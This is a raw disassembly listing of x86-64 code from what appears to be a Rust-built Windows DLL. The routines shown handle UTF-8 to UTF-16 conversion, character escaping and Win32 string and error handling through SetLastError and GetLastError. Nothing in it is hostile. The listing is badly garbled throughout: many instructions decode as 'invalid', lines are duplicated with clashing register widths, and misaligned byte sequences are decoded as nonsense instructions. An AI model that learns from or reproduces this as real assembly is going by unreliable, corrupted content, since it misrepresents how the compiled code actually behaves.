lea r9, [rdx + 2]
cmp r9, r13
je 0x180049db3
movzx eax, byte [rdx + 1]
movzx eax, ax
cmp eax, 0x9f
ja 0x180049cfd
add rdx, 3
mov r9d, 3
mov rax, rdx
jmp 0x180049c60
add rdx, 2
cmp rax, r13
cmove rdx, rax
xor eax, eax
cmp rdx, r13
setne al
add rax, rdx
mov r9d, 3
cmp r10b, 0xf0
jb 0x180049c60
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
mov r9d, 4
jmp 0x180049c60
movzx edx, byte [r9]
and eax, 0x1f
shl eax, 6
and edx, 0x3f
add eax, edx
add eax, 0xd800
mov word [rbp + 6], ax
mov r9, r12
sub r9, rcx
jb 0x180049e0b
cmp r12, rdi
ja 0x180049df9
mov rcx, rsi
mov rdx, r15
call fcn.180049e20
jmp 0x180049d33
add byte [rax], al
test al, al
jne 0x180049de6
lea rax, [rbp + 6]
mov qword [rbp - 0x18], rax
lea rax, [0x180025bd0]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
lea rax, str.u
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 2
mov qword [rbp - 0x28], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov rcx, rsi
mov rdx, r15
lea r8, [rbp - 0x48]
call fcn.180021b20
test al, al
jne 0x180049de6
add r12, 3
mov rcx, r12
cmp r12, rdi
jbe 0x180049c30
lea r8, [0x18007d5d0]
mov rcx, r12
mov rdx, rdi
call fcn.180069790
mov rcx, rdi
sub rdi, rcx
add r14, rcx
mov rcx, rsi
mov rdx, r15
mov r8, r14
mov r9, rdi
call fcn.180049e20
test al, al
mov rax, qword [rbp - 8]
jne 0x180049de6
lea rdx, [0x180081558]
mov r8d, 1
mov rcx, rsi
call rax
mov ebx, eax
mov eax, ebx
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x18007d540]
mov rcx, r12
mov rdx, rdi
call fcn.180069810
lea r8, [0x18007d540]
mov rdx, r12
call fcn.180069a50
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
invalid
mov rsi, r9
mov rdi, r8
mov qword [rbp - 0x40], rdx
push rbp
invalid
push rbp
ror byte [rcx - 0x77], 0xce
mov r14, rcx
mov r14, rcx
add rsi, r8
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x30], rsi
mov dword [rbp - 0x30], esi
lea r13, [rbp - 0x28]
mov byte [rbp - 0x28], 0x81
fadd st(6)
fadd dword [r9 - 0x7e1bba3a]
mov byte [rbp - 0x1c], 0x81
mov byte [rbp - 0x1c], 0x81
mov r12b, 0x81
lea r15, [rbp - 3]
or dword [rbp + rcx*4 + 0x7d], 0x1d8d48fd
xchg r12d, eax
add eax, dword [rax]
lea rbx, [0x1800832ac]
add bl, ch
xor eax, 0xfc45c766
cld
jmp case.0x1800477d8.70
cld
pop rsp
outsb dx, byte [rsi]
nop
mov qword [rbp - 2], 0
mov dword [rbp - 2], 0
add byte [rsi - 0x39], ah
invalid
mov word [rbp + 6], 0x200
add byte [rdx], al
mov eax, dword [r15 + 7]
mov dword [rbp - 9], eax
mov rax, qword [r15]
mov qword [rbp - 0x10], rax
mov r12b, 0x5c
mov ah, 0x5c
mov ah, 0x5c
mov eax, dword [rbp - 9]
mov dword [r13 + 8], eax
mov dword [rbp + 8], eax
mov dword [rbp + 8], eax
mov rax, qword [rbp - 0x10]
mov qword [r13 + 1], rax
invalid
cmp r12b, 0x81
je 0x180049ebb
cmp r12b, 0x80
je 0x18004a02d
test byte [rdi + 1], bh
add byte [rax], al
test byte [rdi + 1], bh
jg 0x180049ead
add byte [rax], al
add byte [rdi], cl
mov dh, 0x45
loop 0x180049eed
movzx eax, byte [rbp - 0x1e]
cmp al, byte [rbp - 0x1d]
jrcxz case.0x180047e31.59
invalid
mov al, byte [rcx]
add byte [rax], al
invalid
jrcxz case.0x180047e31.59
jrcxz case.0x180047e31.59
invalid
test rdi, rdi
je 0x18004a071
cmp rdi, rsi
cmp edi, esi
test dword [rdi], 0x1a484
add byte [rdi], cl
mov dh, 0x17
je 0x18004a071
movzx edx, byte [rdi]
movzx r12d, dl
test r12b, r12b
js case.0x18004b662.31
inc rdi
cmp r12d, 0x27
jbe 0x180049f60
jmp 0x180049fb5
add byte [rax], al
add byte [rcx + rcx*4 - 0x20], al
mov eax, r12d
mov eax, r12d
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp r12b, 0xdf
jbe 0x180049f4d
movzx ecx, byte [rdi + 2]
shl r8d, 6
mov dh, 0x4f
add al, byte [rcx - 0x3f]
loopne 0x180049f13
and ecx, 0x3f
or ecx, r8d
or ecx, eax
or ecx, eax
cmp dl, 0xf0
jb 0x180049fa3
movzx r12d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r12d, 0x3f
or r12d, ecx
or esp, ecx
or esp, ecx
or r12d, eax
cmp r12d, 0x110000
add byte [rdi], cl
test byte [rax], dh
add dword [rax], eax
invalid
add byte [rdi], cl
test byte [rax], dh
add dword [rax], eax
add byte [rax - 0x7d], cl
mov dword [rcx + rax*2], 0x7627fc83
cmp r12d, 0x27
invalid
add rdi, 4
cmp r12d, 0x27
jbe 0x180049f60
invalid
adc eax, 0x834868eb
mov dword [rdx], 0x4406e0c1
add al, cl
loopne 0x180049f5a
or eax, r8d
jmp 0x180049fb5
add rdi, 2
shl eax, 6
add al, cl
loopne 0x180049f5a
or eax, r8d
rol byte [rcx - 0x77], 0xc4
mov r12d, eax
cmp r12d, 0x27
ja 0x180049fb5
mov eax, r12d
mov eax, esp
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
mov word [rbp - 4], 0x305c
jmp 0x180049e70
out dx, al
invalid
cld
pop rsp
and ch, cl
int 0xfe
invalid
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r12d, ecx
cmp r12d, 0x27
jbe 0x180049f60
cmp r12d, 0x5c
jne 0x180049fc6
mov word [rbp - 4], 0x5c5c
jmp 0x180049e70
cmp r12d, 0x7f
jbe 0x180049fd8
mov ecx, r12d
call fcn.180028390
test al, al
jne 0x18004a002
mov ecx, r12d
call fcn.180028250
test al, al
je 0x18004a002
mov byte [rbp - 4], 0x80
mov dword [rbp], r12d
mov rax, qword [r15]
mov qword [rbp - 0x10], rax
mov eax, dword [r15 + 7]
mov dword [rbp - 9], eax
mov r12b, 0x80
jmp 0x180049e8f
lea rcx, [rbp - 4]
mov edx, r12d
call fcn.180025c90
movzx r12d, byte [rbp - 4]
mov rax, qword [r15]
mov qword [rbp - 0x10], rax
mov eax, dword [r15 + 7]
mov dword [rbp - 9], eax
cmp r12b, 0x81
jne 0x180049e8f
jmp 0x18004a071
mov edx, dword [rbp - 0x24]
mov dword [r13 + 8], 0
mov qword [r13], 0
xor r12d, r12d
jmp 0x18004a05b
movzx ecx, al
mov byte [rbp - 0x28], r12b
lea edx, [rax + 1]
mov byte [rbp - 0x1e], dl
cmp al, 0xa
jae 0x18004a084
movzx edx, byte [rbp + rcx - 0x28]
mov rcx, r14
mov rax, qword [rbp - 0x40]
call qword [rax + 0x20]
test al, al
je case.0x1800477d8.70
mov al, 1
jmp 0x18004a073
xor eax, eax
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_srcescape.rs
mov edx, 0xa
call fcn.1800697a0
int3
mov word [rax + r8*2], r13w
inc r8
mov qword [rbp - 8], r8
mov rdx, qword [rdi]
nop
mov r13d, ebx
test bx, bx
jne case.0x18000b703.1027
cmp rdx, r15
je 0x18004a268
lea rcx, [rdx + 1]
mov qword [rdi], rcx
movzx r10d, byte [rdx]
movzx r13d, r10b
test r13b, r13b
jns 0x18004a1cb
mov r9d, r13d
and r9d, 0x1f
lea rcx, [rdx + 2]
mov qword [rdi], rcx
movzx r11d, byte [rdx + 1]
and r11d, 0x3f
cmp r13b, 0xdf
jbe 0x18004a1c1
lea rcx, [rdx + 3]
mov qword [rdi], rcx
movzx r13d, byte [rdx + 2]
shl r11d, 6
and r13d, 0x3f
or r13d, r11d
cmp r10b, 0xf0
jb 0x18004a1e3
lea rcx, [rdx + 4]
mov qword [rdi], rcx
movzx edx, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r13d, 6
and edx, 0x3f
or edx, r13d
or edx, r9d
mov r13d, edx
cmp r13d, 0xffff
jbe 0x18004a1cb
jmp case.0x18000b703.1032
mov word [rdi + 0x10], 0
xor ebx, ebx
cmp r13w, 0x22
je 0x18004a1d7
jmp case.0x18001c9bf.1001
shl r9d, 6
or r9d, r11d
mov r13d, r9d
invalid
xor ebx, ebx
mov rdx, rcx
cmp r13w, 0x22
jne case.0x18001c9bf.1001
not r12b
not ah
and r12b, 1
jmp 0x18004a110
invalid
invalid
invalid
invalid
sub eax, 0x41ffffff
shl ecx, 0xc
shl r9d, 0xc
or r13d, r9d
cmp r13d, 0xffff
jbe 0x18004a1cb
lea r9d, [r13 + 0xff0000]
shr r9d, 0xa
or r9d, 0xd800
and r13d, 0x3ff
add byte [rcx - 0x7f], al
int 0
fadd qword [rax]
add byte [rsi + 0x44], ah
mov dword [rdi + 0x10], ebp
add byte [rcx - 0x7f], al
int 0
fadd qword [rax]
add byte [rsi + 0x44], ah
mov dword [rdi + 0x10], ebp
mov rdx, rcx
mov ebx, r13d
mov ebx, ebp
mov ebx, ebp
mov r13d, r9d
cmp r13w, 0x22
je 0x18004a1d7
nop dword [rax + rax]
movzx ecx, r13w
cmp ecx, 0x3b
jne case.0x18001c9bf.1002
mov r13w, 0x3b
test r12b, 1
je 0x18004a264
cmp r8, qword [rbp - 0x18]
jne 0x18004a100
invalid
invalid
invalid
invalid
invalid
lea rcx, [rbp - 0x18]
call fcn.1800489e0
mov rax, qword [rbp - 0x10]
mov r8, qword [rbp - 8]
jmp 0x18004a100
mov byte [rdi + 0x18], 1
test r14b, r14b
jne 0x18004a2a7
test r8, r8
jne 0x18004a2a7
movabs rax, 0x8000000000000000
mov qword [rsi], rax
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 6
cmp qword [rbp - 0x18], 0
je 0x18004a2d2
mov rcx, qword [rbp - 0x10]
mov edx, 2
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov byte [rax], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
pop rdi
pop rbp
jmp fcn.18001b8e0
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
lea rcx, [rbp - 0x38]
call fcn.1800474f0
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
movabs al, byte [0x4806110f104e110f]
cmp dword [rbp - 0x18], 0
movabs al, byte [0x4806110f104e110f]
cmp dword [rbp - 0x18], 0
jne 0x18004a286
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
jge case.0x18001c9bf.1016
invalid
cmp qword [rbp - 0x18], 0
je 0x18004a321
call 0x1c8131714
add byte [rsi + rcx + 0x48], dh
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
mov edx, 2
add al, byte [rax]
add byte [rax], al
call fcn.18001b8e0
std
call qword [rax + 0x28c48348]
add esp, 0x28
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x410], 0xfffffffffffffffe
test dword [rax], edx
add al, 0
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
lock add eax, dword [rax]
add byte [rax - 0x39], cl
test eax, edi
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax], edx
add al, 0
add dh, bh
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov r8d, 0x200
add byte [rdx], al
add byte [rax], al
mov eax, 2
add byte [rax], al
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor esi, esi
xor ebx, ebx
cmp r8, 0x201
add byte [rax], al
add byte [rax], al
jae case.0x18001e8b0.960
jmp 0x18004a3cf
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sbb edx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
jae case.0x18002ac81.845
cmp r8, 0x201
add dword [rdx], eax
add byte [rax], al
invalid
add byte [rbx + 0x11], dh
jae case.0x18001e8b0.960
mov r14d, 0x200
mov esi, 0x200
lea r15, [rbp - 0x60]
mov r12, r8
jmp 0x18004a437
movabs al, byte [0x49906659ebc4894d]
sub eax, ebx
sub r8, rbx
sub rsi, rbx
cmp rsi, r8
invalid
jae 0x18004a40f
invalid
lea rcx, [rbp + 0x3f8]
mov rdx, rbx
call fcn.18006a570
mov rdi, qword [rbp + 0x3f8]
mov rax, qword [rbp + 0x400]
add byte [rax + rax], al
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
invalid
add byte [rax + rax], al
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add byte [rax - 1], bh
invalid
invalid
invalid
invalid
mov eax, 0xffffffff
cmp rdi, rax
mov ebx, 0xffffffff
cmovb rbx, rdi
mov qword [rbp + 0x408], rbx
add al, 0
add byte [rax - 0x77], cl
dec byte [rcx - 0x77]
fimul word [rbx + rcx*4 - 0x43]
add byte [rax], al
mov rsi, rdi
mov r14, rbx
mov r15, qword [rbp + 0x3e8]
mov r12, rbx
mov esp, ebx
call 0x1c904a438
mov esp, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
leave
leave
mov rdx, r15
mov r8d, r12d
loopne 0x18004a430
invalid
fld qword [rcx]
add byte [rcx - 0x77], al
invalid
test eax, eax
invalid
jne 0x18004a461
loopne 0x18004a430
invalid
fld qword [rcx]
add byte [rcx - 0x77], al
invalid
sal byte [rbp + 0xe], 0xff
call qword [sym.imp.KERNEL32.dll_GetLastError]
adc eax, 0x21c2f
sbb al, 2
add byte [rbp - 0x4e7af040], al
mov cl, 0
add byte [rax], al
mov r8d, r13d
cmp r12, r8
invalid
test dword [rbx - 1], edx
invalid
test eax, eax
jne 0x18004a512
mov cl, 0
add byte [rax], al
mov cl, 0
add byte [rax], al
mov r8d, r13d
cmp r12, r8
jne 0x18004a3c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne case.0x18001e8b0.965
sbb al, 2
add byte [rbx - 0x7af08508], al
enter 0, 0
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
mov eax, esp
mov eax, esp
loopne 0x18004a4d8
cmp r8, 0x201
cmp eax, 0x201
clc
add dword [rdx], eax
add byte [rax], al
jb 0x18004a3cf
jmp case.0x18001e8b0.960
invalid
invalid
cmp r14, r8
jb 0x18004a55e
invalid
mov ch, 0
add byte [rax], al
invalid
lea rcx, [rbp + 0x3c8]
invalid
mov rdx, r15
call fcn.1800474f0
cmp al, dl
invalid
dec dword [rdi]
adc byte [rbp + 0x3c8], al
enter 3, 0
cmp al, dl
invalid
enter 3, 0
movups xmm1, xmmword [rbp + 0x3d8]
add byte [rax], al
movaps xmmword [rbp + 0x3b0], xmm1
mov al, 3
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x3a0], eax
invalid
invalid
add eax, dword [rax]
invalid
movaps xmmword [rbp + 0x3a0], xmm0
test dword [rax + 0x48000003], esp
mov eax, dword [rbp + 0x3f0]
lock add eax, dword [rax]
invalid
mov rax, qword [rbp + 0x3f0]
lock add eax, dword [rax]
add eax, dword [rax]
add byte [rdi], cl
adc dword [rax + 0x10], ecx
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
adc dword [rax], eax
cmp qword [rbp + 0x3f8], 0
je 0x18004a4fd
add byte [rax], al
add byte [rcx + rdx + 0x48], dh
mov ecx, dword [rbp + 0x400]
mov rcx, qword [rbp + 0x400]
mov edx, 2
add al, byte [rax]
add byte [rax], al
invalid
add al, ch
jrcxz 0x18004a50e
call fcn.18001b8e0
std
call qword [rax - 0x673b7eb8]
add al, 0
add byte [rbx + 0x5f], bl
nop
add rsp, 0x498
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x3f0]
lock add eax, dword [rax]
invalid
lock add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rcx + 8], rax
invalid
mov eax, 0
add byte [rax], al
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
movabs rax, 0x8000000000000000
mov qword [rcx], rax
add byte [rax + 0x48018948], al
cmp dword [rbp + 0x3f8], 0
add eax, dword [rax]
add byte [rax], al
or byte [rax - 0x77], 1
cmp qword [rbp + 0x3f8], 0
add eax, dword [rax]
add byte [rax], al
jne 0x18004a4ec
jmp 0x18004a4fd
mov ecx, 0xb50d8d48
jb 0x18004a54d
lea rcx, str.internal_error:_entered_unreachable_code
mov ch, 0x72
add eax, dword [rax]
add byte [rbp + rcx*4 + 5], cl
xchg esi, eax
add eax, dword [r8]
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
lea eax, [0x18007e8e8]
add eax, 0x34396
mov edx, 0x28
add byte [rax], al
add al, ch
invalid
call fcn.180069820
invalid
jmp case.0x18002bb9c.836
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
invalid
add byte [rcx + rcx*4 - 0x3f], cl
ror dword [rcx + rcx*4 - 0xe], 0x49
mov rdx, r14
mov r8, rax
mov eax, eax
mov eax, eax
call fcn.180069810
ud2
or esp, dword [rsi + 0x66]
nop dword cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
cmp dword [rbp + 0x3f8], 0
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
invalid
mov ebp, 0x3f8
add byte [rax], al
cmp dword [rbp + 0x3f8], 0
add byte [rax], al
add byte [rcx + rdx + 0x48], dh
mov ecx, dword [rbp + 0x400]
lea eax, [rax]
add al, 0
invalid
je 0x18004a5b7
mov rcx, qword [rbp + 0x400]
lea eax, [rax]
add al, 0
add byte [rdx + 2], bh
mov edx, 2
call fcn.18001b8e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea ebp, [rsp + 0x20]
lea ebp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
mov rbx, r8
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov ecx, dword [rcx + 8]
mov rdi, qword [rsi + 0x10]
mov edi, dword [rsi + 0x10]
adc byte [rbp + 0x31], al
xor r12d, r12d
mov eax, 0
invalid
in al, 0xb8
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
inc dword [rbx]
cmp rdi, 3
cmp edi, 3
jb 0x18004a63c
cmp eax, dword [rdi + rcx - 0x4a]
paddd mm0, qword [rbp - 0x77]
rol dword [rcx - 0x80], 0xe1
movzx r8d, byte [rdi + rcx - 2]
movzx eax, byte [rdi + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
invalid
invalid
xor r12d, r12d
in al, 0x41
cmp cl, 0xa0
cmp r9b, 0xa0
jne 0x18004a63c
xor r12d, r12d
cmp byte [rdi + rcx - 3], 0xed
jne 0x18004a63c
movzx r12d, byte [rdi + rcx - 1]
and r8d, 0xf
loopne 0x18004a63a
ud0
loopne 0x18004a63a
and r12d, 0x3f
and esp, 0x3f
shl r8d, 0x10
shl r12d, 0xa
adc byte [rcx - 0x3f], al
in al, 0xa
or r12d, r8d
invalid
mov al, 1
cmp rbx, 3
jb 0x18004a6ee
cmp byte [rdx], 0xed
jne 0x18004a6f7
movzx r15d, byte [rdx + 1]
mov r8d, r15d
and r8b, 0xf0
cmp r8b, 0xb0
jne 0x18004a6f7
test al, al
je 0x18004a6f7
mov al, byte [rax]
add byte [rax], al
ror byte [rdi], 0x84
mov al, byte [rax]
add byte [rax], al
movzx r13d, byte [rdx + 2]
and r15d, 0xf
add al, byte [rcx - 0x7d]
out 0xf, eax
cmp rdi, 3
add esi, dword [rdx + 8]
jb case.0x18000b703.1077
add rdi, 0xfffffffffffffffd
add edi, 0xfffffffd
mov qword [rsi + 0x10], rdi
mov dword [rsi + 0x10], edi
and r13d, 0x3f
shl r15d, 6
lea r14, [rbx - 3]
inc rbx
mov rax, qword [rsi]
invalid
sub rax, rdi
clc
invalid
clc
cmp rax, rbx
jb 0x18004a7cc
add rdx, 3
mov rbx, rdx
or r15d, r12d
or r15d, r13d
add r15d, 0x10000
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
mov rcx, rsi
mov edx, r15d
call fcn.1800488a0
mov rax, qword [rsi]
mov rdi, qword [rsi + 0x10]
sub rax, rdi
cmp rax, r14
jb 0x18004a7e7
adc eax, dword [rcx]
add byte [rax], al
adc eax, dword [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 8]
add rcx, rdi
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
add rcx, rdi
mov rdx, rbx
mov r8, r14
invalid
fimul dword [rbp - 0x77]
invalid
call fcn.180068d66
add rdi, r14
jmp case.0x18001e906.998
test rbx, rbx
je case.0x18001e8b0.979
fisttp dword [rdi]
test byte [rcx + 0x48000000], cl
lea eax, [rdx + rbx]
lea rax, [rdx + rbx]
mov r9, rdx
jmp 0x18004a718
add r9, 2
cmp r8, rax
cmovne r8, r9
nop dword [rax + rax]
mov r9, r8
cmp r8, rax
je case.0x18001e8b0.979
lea r8, [r9 + 1]
movzx r10d, byte [r9]
mov dh, 0x11
mov dh, 0x11
test r10b, r10b
jns case.0x18002b117.855
cmp r10b, 0xe0
jb case.0x18002ac81.859
invalid
cmp r10b, 0xed
jne 0x18004a74f
cmp r8, rax
je case.0x18001e8b0.979
lea r8, [r9 + 2]
add cl, byte [rcx + 0x39]
sal byte [rcx + rax*2 + 0x41], 0x80
invalid
invalid
invalid
jns 0x18004a744
cmp r8, rax
je case.0x18001e8b0.979
invalid
cmp byte [r9 + 1], 0x9f
cmp byte [r9 + 1], 0x9f
cmp byte [rcx + 1], 0x9f
lahf
ja 0x18004a77c
add r9, 3
add r9, 3
add ecx, dword [rbp - 0x77]
enter 0xffffffffffffc1eb, 0x49
ror dword [rcx - 0x7d], 0xc1
invalid
mov r8, r9
jmp case.0x18002b117.855
invalid
ror dword [rcx - 0x7d], 0xc1
add cl, byte [rcx + 0x39]
add r9, 2
cmp r8, rax
cmove r9, r8
enter 0x3145, 0xffffffffffffffc0
ror byte [rbp + 0xf], 0x44
enter 0x3145, 0xffffffffffffffc0
cmp r9, rax
setne r8b
add r8, r9
cmp r10b, 0xf0
cli
invalid
jb case.0x18002b117.855
cli
invalid
xor r9d, r9d
cmp r8, rax
setne r9b
add r8, r9
invalid
jmp case.0x18002b117.855
enter 0xffffffffffff94eb, 0xffffffffffffffc6
sbb byte [rax], r8b
mov byte [rsi + 0x18], 0
mov rax, qword [rsi]
sub rax, rdi
cmp rax, rbx
jb 0x18004a7ae
add rcx, rdi
mov r8, rbx
call fcn.180068d66
add rdi, rbx
mov qword [rsi + 0x10], rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
mov rcx, rsi
mov r14, rdx
mov rdx, rdi
mov r8, rbx
call fcn.18006a4d0
add dword [rax], eax
add dword [rax], eax
mov rdx, r14
mov rcx, qword [rsi + 8]
or byte [rax - 0x75], r9b
jle 0x18004a7da
or byte [rax - 0x75], r9b
jle 0x18004a7da
jmp 0x18004a78b
mov rcx, rsi
mov qword [rbp], rdx
mov rdx, rdi
mov r8, rbx
fsubr st(0)
cld
add dword [rax], eax
fsubr st(0)
cld
add dword [rax], eax
mov rdx, qword [rbp]
jmp 0x18004a6a2
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.18006a4d0
cld
add dword [rax], eax
cld
add dword [rax], eax
mov rdi, qword [rsi + 0x10]
jmp 0x18004a6d4
add byte [rax], al
add byte [rax - 0x77], cl
add rsp, 0x80
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
or al, byte [rcx + rcx*8 - 0x49f0f58b]
and eax, 0xc98440eb
test cl, cl
jne 0x18004a89b
movzx eax, byte [rdi + 0x25]
jmp 0x18004a8d7
je 0x18004a8c3
cmp byte [rdi + 0x23], 0
movzx eax, byte [rdi + 0x25]
je 0x18004a8d7
test al, al
jne 0x18004a8d7
mov eax, 1
movabs rdx, 0x5700000002
test r14, r14
jne 0x18004aa16
push rbp
add dword [rax], eax
invalid
push rbp
add dword [rax], eax
add bl, ch
mov al, 0x80
jg 0x18004a8e9
jmp 0x18004a873
cmp byte [rdi + 0x23], 0
jne 0x18004a8a9
add byte [rbp - 0x20], dh
cmp byte [rdi + 0x24], 0
jne 0x18004a8a9
cmp byte [rdi + 0x25], 0
jne 0x18004a8a9
xor eax, eax
rol byte [rax + 0x7400247f], 0x10
cmp byte [rdi + 0x24], 0
je 0x18004a8ed
add byte [rax + rdx - 0x7c], dh
sal byte [rbp + 0x10], 0xbb
mov ebx, 4
test al, al
jne case.0x18002ac81.874
mov ebx, 4
cmp dword [rdi], 0
jne 0x18004a8fb
adc bl, ch
and eax, 0xf74c084
jmp 0x18004a912
test al, al
je 0x18004a900
mov ebx, 1
cmp dword [rdi], 0
invalid
je 0x18004a912
invalid
add byte [rbx + 0x1774003f], al
add byte [rdi + rdx - 0x75], dh
push rdi
add al, 0xeb
push rdx
invalid
mov edx, dword [rdi + 4]
jmp 0x18004a952
movzx r8d, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x23]
lea ebx, [r8*2 + 3]
cmp dword [rdi], 0
jne 0x18004a8fb
add byte [rbx - 0x168affc1], al
cmp byte [rdi + 0x20], 0
add byte [rsi + rbx + 0x45], dh
xor eax, eax
je 0x18004a936
xor r8d, r8d
test dl, dl
setne r8b
or r8d, 0xfffffffe
shl r8d, 0x1e
rol byte [rcx + 0xf], cl
xchg ebp, eax
rol byte [rcx - 0x7d], 0xc8
inc byte [rcx - 0x3f]
loopne 0x18004a947
test cl, cl
leave
mov edx, 0x80120114
cmove edx, r8d
cmove edx, eax
adc al, 1
adc al, byte [rax - 0x2fbbf0bf]
cmove edx, eax
cmove edx, eax
jmp 0x18004a952
sbb al, 0x84
sal byte [rbx + rcx - 0x7c], cl
leave
test dl, dl
je case.0x18002bb9c.859
test cl, cl
jne case.0x18002ac81.877
invalid
mov edx, 0x40000000
jmp 0x18004a952
test cl, cl
je 0x18004a8a9
pop rsp
invalid
mov edx, 0x120114
adc al, byte [rax]
mov r8d, dword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
sbb byte [rbx + 0x4f0b144f], cl
adc byte [rbx + rcx*4 + 0x4f], cl
invalid
invalid
invalid
mov ecx, dword [rdi + 0x14]
or ecx, dword [rdi + 0x10]
mov r9, qword [rdi + 8]
mov ecx, dword [rdi + 8]
or byte [rbx], cl
sbb al, 0x45
or ecx, dword [rdi + 0x1c]
xor r10d, r10d
xor edx, edx
xor edx, edx
test al, al
setne r10b
setne dl
setne dl
shl r10d, 0x15
loop case.0x18002bb9c.875
or r10d, ecx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
